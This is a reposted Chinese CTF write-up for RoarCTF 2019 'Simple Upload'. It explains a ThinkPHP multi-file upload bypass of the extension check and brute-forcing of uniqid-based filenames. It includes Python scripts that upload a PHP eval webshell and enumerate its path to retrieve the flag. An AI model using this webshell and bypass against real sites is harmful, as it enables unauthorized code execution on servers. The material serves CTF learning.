[RoarCTF 2019]Simple Upload

摘要:
0x00知识点1:ThinkPHP上传默认路径默认上传路径为/home/index/upload2:ThinkPHPupload()多文件上传ThinkPHP中的upload()函数在不传递参数的情况下批量上传。这里,可以理解,保护机制将仅检测一次。通过使用条件竞争,多个上传可以绕过文件后缀的检测。至于为什么要两次上传1.txt,这是为了获得php文件的后缀,因为这里的后缀命名方法使用uniqid函数

0x00 知识点

1:Think PHP上传默认路径

默认上传路径是/home/index/upload

2:Think PHP upload()多文件上传
think PHP里的upload()函数在不传参的情况下是批量上传的,这里可以理解为防护机制只会检测一次,运用条件竞争,多次上传便可以绕过文件后缀的检测,至于为什么上传两次1.txt,是为了获取php文件的后缀,因为这里的后缀命名方式运用了uniqid函数它是基于微秒的当前时间来更改文件名的,两个同时上传生成的文件名相差不会太远。
3ThinkPHP 上传文件名爆破

先上传一个正常文件再上传一个木马文件,然后再上传一个正常文件,然后根据第一和第三个正常文件的文件名之间的差异,爆破出我们上传的木马文件

0x01 解题

利用下面脚本爆破我们的木马文件:

import requests
url = 'http://1a90b8c9-694d-44a9-bc8b-060cab5ca389.node3.buuoj.cn/index.php/Home/Index/upload'
file1 = {'file':open('1.txt','r')}
file2 = {'file[]':open('1.php','r')} #upload()不传参时即是批量上传所以用[]

r = requests.post(url,files = file1)
print r.text

r = requests.post(url,files = file2)
print r.text

r = requests.post(url, files = file1)
print r.text


[RoarCTF 2019]Simple Upload第1张

这里可以看到两个文件之间是有6位数的不同,接下来我们只要控制这六位数爆破文件名即可

python2拿flag脚本

#coding:utf-8
import requests
import time
import json

url = "http://1a90b8c9-694d-44a9-bc8b-060cab5ca389.node3.buuoj.cn/"

path = url + "/index.php/home/index/upload"
files = {"file":("a.txt",'a'), "file1":("b.php", '<?php eval($_GET["a"]);')}
r = requests.post(path, files=files)
t1 = r.text.split("/")[-1].split(".")[0]
param=json.loads(r.content)
print param
t1 = int(t1, 16)

j = t1
while True:
    path = url + "/Public/Uploads/"+param['url'].split("/")[-2]+"/%s.php" % hex(j)[2:]
    try:
        r = requests.get(path,timeout=1)
    except:
        continue
    if r.status_code == 429:#规避过于频繁访问导致的429
        time.sleep(0.1)
        continue
    elif r.status_code != 404:
        print path
        print r.text
        break
    print j, path, r.status_code
    j -= 1

免责声明:文章转载自《[RoarCTF 2019]Simple Upload》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇Abp vNext异常处理的缺陷/改造方案C# TreeView节点的动态加载下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

http协议简介

  在做接口测试的过程中,都会遇到一些http协议,什么是http协议? 什么是http协议 HTTP协议是Hyper Text Transfer Protocol(超文本传输协议)的缩写,是用于从万维网(WWW:World Wide Web )服务器传输超文本到本地浏览器的传送协议。基于TCP的应用层协议,它不关心数据传输的细节,HTTP(超文本传输协议...

uni-app v-bind绑定属性

mustache表达式不能在标签中使用,那么标签中想要动态绑定变量怎么办? 使用v-bind 比如: data() { return { url:"../HelloWord/HelloWord", } }, 页面上...

web服务器出现大量CLOSE_WAIT连接的前因后果

公司网站一直很稳定,前段时间开始偶尔出现网站无法打开,提示504的错误,运维有怀疑是程序更新引起的,但是仔细看过代码并没有获取数据量过大的地方,而且数据库表现也一直很平稳。所以一直也无从下手,不知道问题出在哪里,每一次出现这个问题重启下iis可以解决,或者有的时候是过段时间自己就解决了,所以这个问题一直悬而未决。 直到昨天晚上网站再次更新,在进行功能验证的...

requests.exceptions.SSLError: HTTPSConnectionPool(host='cn.bing.com', port=443)报错解决方案

一、问题描述 运行以下代码 #!/usr/local/bin/python3.7 import requests import ssl # 请求url url = 'https://cn.bing.com/tlookupv3?isVertical=1&&IG=1E1AE90B09BB41E28506E0ADC9E45704&II...

更全面的寻找post地址

我们在今后的爬虫学习过程中,要爬许许多多的网站。 唯有掌握如何对不同网站寻找到正确的post地址,才是任务之重。 比如,我访问了一个别的网站,这儿用人人网做例子。 在人人网登陆界面,使用F12进入开发者模式,找到整个登陆界面的源码: 所以,我们可以看到关键的登录模块源码有一个关键的参数,这个参数是action,存储登陆的url地址。 action="ht...

JDBC连接数据库及其执行操作

作者:Alvin 功能:数据库连接与实现增删改查 时间:2019年3月4日08点33分 参考文章:https://www.2cto.com/database/201805/743741.html 一、总结 数据库加载分为以下几个步骤 第一步、加载驱动 MySQL的加载方式 Class.forName("com.mysql.jdbc.Driver"); O...